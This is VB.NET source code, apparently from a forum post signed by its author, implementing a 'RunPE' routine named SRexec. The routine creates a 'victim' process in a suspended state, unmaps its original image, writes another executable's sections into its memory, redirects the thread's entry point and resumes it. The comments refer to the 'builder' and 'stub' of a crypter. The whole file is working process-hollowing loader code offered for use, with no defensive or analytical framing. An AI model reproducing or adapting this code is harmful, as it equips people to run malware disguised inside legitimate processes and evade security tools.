Code:
<DllImport("kernel32.dll")> _
Private Shared Function ResumeThread(ByVal hThread As IntPtr) As UInt32
End Function
<DllImport("kernel32.dll")> _
Private Shared Function GetThreadContext(ByVal hThread As IntPtr, ByRef lpContext As CONTEXT) As Boolean
End Function
<DllImport("kernel32.dll")> _
Private Shared Function SetThreadContext(ByVal hThread As IntPtr, ByRef lpContext As CONTEXT) As Boolean
End Function
<DllImport("kernel32.dll")> _
Private Shared Function LoadLibraryA(ByVal lpLibFileName As String) As Integer
End Function
<DllImport("kernel32.dll")> _
Private Shared Function CreateProcess(ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, _
ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Boolean, _
ByVal dwCreationFlags As UInt32, ByVal lpEnvironment As IntPtr, ByVal lpCurrentDirectory As String, _
<[In]()> ByRef lpStartupInfo As STARTUPINFO, _
<[Out]()> ByRef lpProcessInformation As PROCESS_INFORMATION) As Boolean
End Function
<DllImport("kernel32.dll", _
SetLastError:=True, _
CharSet:=CharSet.Auto, _
EntryPoint:="WriteProcessMemory", _
CallingConvention:=CallingConvention.StdCall)> _
Shared Function WriteProcessMemory( _
ByVal hProcess As IntPtr, _
ByVal lpBaseAddress As IntPtr, _
ByVal lpBuffer As Byte(), _
ByVal iSize As Int32, _
<Out()> ByRef lpNumberOfBytesWritten As Int32) As Boolean
End Function
<DllImport("kernel32.dll", _
SetLastError:=True, _
CharSet:=CharSet.Auto, _
EntryPoint:="WriteProcessMemory", _
CallingConvention:=CallingConvention.StdCall)> _
Shared Function WriteProcessMemoryI( _
ByVal hProcess As IntPtr, _
ByVal lpBaseAddress As IntPtr, _
ByVal lpBuffer As IntPtr, _
ByVal iSize As Int32, _
<Out()> ByRef lpNumberOfBytesWritten As Int32) As Boolean
End Function
<DllImport("kernel32.dll", EntryPoint:="ReadProcessMemory")> _
Public Shared Function ReadProcessMemory(ByVal hProcess As IntPtr, _
ByVal lpBaseAddress As Integer, _
ByRef lpbuffer As IntPtr, _
ByVal size As Integer, _
ByRef lpNumberOfBytesRead As Integer) As Int32
End Function
<DllImport("ntdll.dll")> _
Public Shared Function ZwUnmapViewOfSection(ByVal hProcess As IntPtr, ByVal BaseAddress As IntPtr) As Long
End Function
<DllImport("kernel32.dll", SetLastError:=True, ExactSpelling:=True)> _
Public Shared Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, _
ByVal dwSize As UInteger, ByVal flAllocationType As UInteger, _
ByVal flProtect As UInteger) As IntPtr
End Function
<DllImport("kernel32", CharSet:=CharSet.Auto, SetLastError:=True)> _
Public Shared Function VirtualProtectEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UIntPtr, ByVal flNewProtect As UIntPtr, <Out()> ByVal lpflOldProtect As UInteger) As Integer
End Function
Const GENERIC_READ As Int32 = &H80000000
Const FILE_SHARE_READ As UInt32 = &H1
Const OPEN_EXISTING As UInt32 = 3
Const FILE_ATTRIBUTE_NORMAL As UInt32 = &H80
Const INVALID_HANDLE_VALUE As Int32 = -1
Const PAGE_READONLY As UInt32 = &H2
Const FILE_MAP_READ As UInt32 = &H4
Const IMAGE_DOS_SIGNATURE As UInt16 = &H5A4D
Const RT_VERSION As Int32 = 16
Private Enum ImageSignatureTypes
IMAGE_DOS_SIGNATURE = &H5A4D ''\\ MZ
IMAGE_OS2_SIGNATURE = &H454E ''\\ NE
IMAGE_OS2_SIGNATURE_LE = &H454C ''\\ LE
IMAGE_VXD_SIGNATURE = &H454C ''\\ LE
IMAGE_NT_SIGNATURE = &H4550 ''\\ PE00
End Enum
Public Shared Sub SRexec(ByVal b() As Byte, ByVal sVictim As String)
Dim sVersion As [String] = Nothing
Dim pidh As IMAGE_DOS_HEADER
Dim context As CONTEXT = New CONTEXT()
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim pi As PROCESS_INFORMATION = New PROCESS_INFORMATION()
Dim si As STARTUPINFO = New STARTUPINFO()
Dim pSec As SECURITY_ATTRIBUTES = New SECURITY_ATTRIBUTES()
Dim tSec As SECURITY_ATTRIBUTES = New SECURITY_ATTRIBUTES()
'converts a data type in another type.
'since .net types are different from types handle by winAPI, DirectCall a API will cause a type mismatch, since .net types
' structure is completely different, using different resources.
Dim MyGC As GCHandle = GCHandle.Alloc(b, GCHandleType.Pinned)
Dim ptbuffer As Integer = MyGC.AddrOfPinnedObject.ToInt32
pidh = Marshal.PtrToStructure(MyGC.AddrOfPinnedObject, pidh.GetType)
MyGC.Free()
If CreateProcess(Nothing, sVictim, pSec, tSec, False, &H4, Nothing, Nothing, si, pi) = 0 Then
Exit Sub
End If
Dim vt As Integer = ptbuffer + pidh.e_lfanew
Pinh = Marshal.PtrToStructure(New IntPtr(vt), Pinh.GetType)
Dim addr As Long, lOffset As Long, ret As UInteger
si.cb = Len(si)
context.ContextFlags = CONTEXT86_INTEGER
'all "IF" are only for better understanding, you could do all verification on the builder and then the rest on the stub
If Pinh.Signature <> ImageSignatureTypes.IMAGE_NT_SIGNATURE Or pidh.e_magic <> ImageSignatureTypes.IMAGE_DOS_SIGNATURE Then Exit Sub
If GetThreadContext(pi.hThread, context) And _
ReadProcessMemory(pi.hProcess, context.Ebx + 8, addr, 4, 0) >= 0 And _
ZwUnmapViewOfSection(pi.hProcess, addr) >= 0 Then
Dim ImageBase As UInt32 = VirtualAllocEx(pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
If ImageBase <> 0 Then
WriteProcessMemory(pi.hProcess, ImageBase, b, Pinh.OptionalHeader.SizeOfHeaders, ret)
lOffset = pidh.e_lfanew + 248
For i As Integer = 0 To Pinh.FileHeader.NumberOfSections - 1
'math changes, anyone with pe understanding know
Pish = Marshal.PtrToStructure(New IntPtr(ptbuffer + lOffset + i * 40), Pish.GetType)
Dim braw(Pish.SizeOfRawData) As Byte
'more math for reading only the section. mm API has a "shortcut" when you pass a specified startpoint.
'.net can't use so you have to make a new array
For j As Integer = 0 To Pish.SizeOfRawData - 1
braw(j) = b(Pish.PointerToRawData + j)
Next
WriteProcessMemory(pi.hProcess, ImageBase + Pish.VirtualAddress, braw, Pish.SizeOfRawData, ret)
VirtualProtectEx(pi.hProcess, ImageBase + Pish.VirtualAddress, Pish.Misc.VirtualSize, Protect(Pish.Characteristics), addr)
Next i
Dim bb As Byte() = BitConverter.GetBytes(ImageBase)
WriteProcessMemory(pi.hProcess, context.Ebx + 8, bb, 4, ret)
context.Eax = ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
Call SetThreadContext(pi.hThread, context)
Call ResumeThread(pi.hThread)
End If
End If
End Sub
Private Shared Function Protect(ByVal characteristics As Long) As Long
Dim mapping() As Object = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _
PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _
PAGE_READWRITE, PAGE_EXECUTE_READWRITE}
Protect = mapping(RShift(characteristics, 29))
End Function
Private Shared Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long
RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift)
End Function
Private Shared Function vbLongToULong(ByVal Value As Long) As Double
Const OFFSET_4 = 4294967296.0#
If Value < 0 Then
vbLongToULong = Value + OFFSET_4
Else
vbLongToULong = Value
End If
End Function
End Class
Made by JapaBrz